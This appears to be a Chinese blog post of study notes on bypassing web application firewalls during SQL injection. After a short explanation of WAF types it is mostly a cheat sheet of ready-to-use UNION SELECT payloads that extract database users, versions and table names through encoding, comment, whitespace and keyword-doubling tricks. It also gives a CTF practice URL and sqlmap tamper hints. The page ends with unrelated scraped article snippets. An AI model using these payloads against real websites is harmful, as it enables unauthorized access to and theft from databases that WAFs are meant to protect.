WAF是什么?

Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。

WAF分类:

代码WAF:将规则写在web代码中,并去匹配,来过滤。

软件WAF:监听端口或以Web容器扩展方式进行请求检测和阻断

硬件WAF:专门硬件防护设备,代理流量,并做分析,再做是否转发的处理

云WAF:通过dns域名移交技术,将流量暂时发送到检测中心节点,通过检测后,再发送到真实服务器上

WAF工作流程:三个基本步骤

身份认证:白名单ip、白名单cookie、白名单user-agent、白名单referer等等

数据包解析

规则匹配:根据不同的规则,有不同的绕过方法。

过WAF的基本方式:

1、大小写     select * from users where id ='1   ' uNion SelEcT 1,2,3,4--+

针对:/正则表达式/ i    不区分大小写的规则

2、替关键字(关键字重复写)  select * from users where ID=1 ununionion selselectect 1,2,3,4%23

针对检测到某个关键词 替换为空的情况

3、编码  select  * from users where id=2%2bunion%2bselect%2b1,2,3,4--+

union ---> 0x756e696f6e20

select * from users where ID=1 %75nion select 1,2,3,4%23

编码方式:URL编码 (空格为%20  单引号%27  左括号%28  右括号%29,针对特殊情况可以两次URL编码)

十六进制编码(针对某些数据,如特殊字符、特殊字符串等)

unicode:Unicode编码  使用两个字节编码一个字符,高位不足使用0填充

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

4、内联注释 /* */      union/**/select/**/1,2,3%23 、   //.--+,/**/,--,-- -,#,;--b

select * from dvwa.user where user_id id='1' and 1=1;--+';

5、等价函数替换      verion()     @@version

mid   substr   substring

@@datadir  datadir()

hex()    bin()   ascii()

sleep()   benchmark()

等价符号:and  &&;   or  || ; =  ><  re>100 re<102  re=101

6、特殊符号   + #  %23  --+   \\\\

select`version()`

select+id-1+1.from users; "+"用于字符串连接  -和. 用于连接,可以用于逃过空格和关键词的过滤

@符号:用户自定义变量    select @……1.from users;

@@符号:系统变量

后续加 ~  !  %  ()  []  +   |   %00  等等

7、内联注释加!  select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+

8、缓冲区溢出

?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18

栗子上的 0xA*1000  指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考,在一些情况下也可以更短

9、mysql 特性绕过

= 等于

:= 赋值

@ @+变量名可直接调用 select @test:=user();

注释符号 /**/  --(空格)  #

/!**/  /*!50000select*/

select * from news where tid=1 union /*!50000select*/ 1,2,3;

/*!union*/

(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())

10、换行 123%0A123

11、隐私类型转换

select 'a'=0;

select '1admin'=1;

综合探索

内联注释

黑魔法:select{x user}from{x mysql.user};

换行符绕过:%23%0a   %2d%2d%0a

绕过方式部分拆解

select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin

[1] 第一部分:

(1)/**/  /*!50000union*/

(2)空白字符 %09 %0a %0b %0c %0d %20

id=1%0bunion select 1,user() from admin

(3)浮点数形式  1.2   4.2

id=1.0union select 1,user() from admin

(4)1E0   1x一亿的0次方

id=1e0nuion select 1,user() from admin

(5)\

id=\Nunion select 1,user() from admin

[2] 第二部分:

(1)空白字符  %09 %0a %0b %0c %0d %20

(2)注释符 /**/   /*123213*/

(3)括号 id=1 union(select 'test','1',(select user() from admin limit 0,1))

[3]   第三部分:

(1)空白字符

(2)注释符号

(3)其他字符:

! %21

+  %2b

- %2d

@ %40

~ %7e

select * from admin where id=1 union select~1,user(),version()

(4)其他方式:

括号   select * from admin where id=1 union select(1),user(),version()

内联   select * from admin where id=1 union /*!50000select*/1,user(),version()

{} select * from admin where id=1 union select{x 1} user(),version()

" "    select * from admin where id=1 union select"1" user(),version()

\N     select * from admin where id=1 union select\N ,user(),version()

[4] 第四部分:

(1)空白字符

(2)注释符

(3)其他符号

` %60   select * from admin where id=1 union select 1,2`from admin`;(注意闭合)

内敛注释符号

加括号

加字母 select * from admin where id=1 union select 1,2"A"from admin;(???)

(4)浮点数、1E0 、\N

第五部分:

(1)空白

(2)注释符号

(3)其他符号

破则号-: select * from admin where id=1 union select 1,2 from-admin;(中文的)

联注释符号

{} select * from admin where id=1 union select 1,2 from{x   admin};

() select * from admin where id=1 union select 1,2 from(admin);

练习题:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1

$keywords= array("union","select","  ");

$id=strtolower($id);

$id=str_replace($keywords,"",$id);

// 需要处理的技术点:双写.py     使用注释代替空格.py

// --tamper 双写.py,使用注释代替空格.py

SQL注入过WAF(11.4 第三十三天)的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. SQL注入绕WAF总结

    0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...

  5. SQL注入绕过waf的一万种姿势

      绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...

  6. 一次简单的SQL注入绕WAF

    本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个 1.目标网站 2.发现有WAF防护 3.判断存在注入 4.猜测了一下闭合为 ...

  7. [转载]SQL注入绕过WAF的方法总结

    基本/简单绕过方法: 1.注释符 http://www.0dayhack.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4-. 2.使用 ...

  8. [WAF攻防]从WAF攻防角度重看sql注入

    从WAF攻防角度重看sql注入 攻防都是在对抗中逐步提升的,所以如果想攻,且攻得明白,就必须对防有深刻的了解 sql注入的大体流程 Fuzz测试找到注入点 对注入点进行过滤检测,及WAF绕过 构建pa ...

  9. sql注入之堆叠注入及waf绕过注入

    #堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...

随机推荐

  1. Atcoder Grand Contest 037C(贪心,优先队列,思维)

    #define HAVE_STRUCT_TIMESPEC//编译器中time.h和phread.h头文件中timespec结构体重名,故加此行#include<bits/stdc++.h> ...

  2. Encoding.UTF8 与 new UTF8Encoding(false) 有什么区别?

    System.Text.Encoding.UTF8 是一个静态实例,它省略了 BOM,而 new UTF8Encoding(false) 创建的实例是含有 BOM 的. BOM,即 Byte Orde ...

  3. 谈谈spring mvc与struts的区别

    1.Struts2是类级别的拦截, 一个类对应一个request上下文,SpringMVC是方法级别的拦截,一个方法对应一个request上下文,而方法同时又跟一个url对应,所以说从架构本身上Spr ...

  4. Linux centosVMware Apache 配置防盗链、访问控制Directory、访问控制FilesMatch

    一.配置防盗链 通过限制referer来实现防盗链的功能 配置文件增加如下内容 vim /usr/local/apache2.4/conf/extra/httpd-vhosts.conf //改为如下 ...

  5. centos7一步一步搭建docker phpmyadmin 及nginx配置phpmyadmin非根目录重点讲解

    系统环境:centos7.7  镜像image 版本:phpmyadmin/phpmyadmin(截止2020.01.10最新版) 参考文章:https://blog.csdn.net/a258929 ...

  6. A way to find out how activity for mssql and oracle

    Dear buddy, Have you confuse that how activity about my databases, if we conside it by using backup ...

  7. Python 基础之循环结构for及break pass continue

    一.for 循环 #循环 变量 迭代 都是一个意思#把列表里面的元素意义的拿出来就是遍历listvar = ["one","two","three&q ...

  8. ws2_32.dll的妙用与删除 (禁网)

    ws2_32.dll是Windows Sockets应用程序接口,用于支持Internet和网络应用程序.程序运行时会自动调用ws2_32.dll文件,ws2_32.dll是个动态链接库文件位于系统文 ...

  9. redis之Set(有序)类型常用方法总结

    redis之Set(有序)类型常用方法总结 存--ZADD key [NX|XX] [CH] [INCR] score member [score member ...] XX: 仅仅更新存在的成员, ...

  10. Py2与Py3的区别

    总结Py2 与Py3 的区别 1 编码区别 在Python2中有两种字符串类型str和Unicode. 默认ASCII python2 str类型,相当于python3中的bytes类型 python ...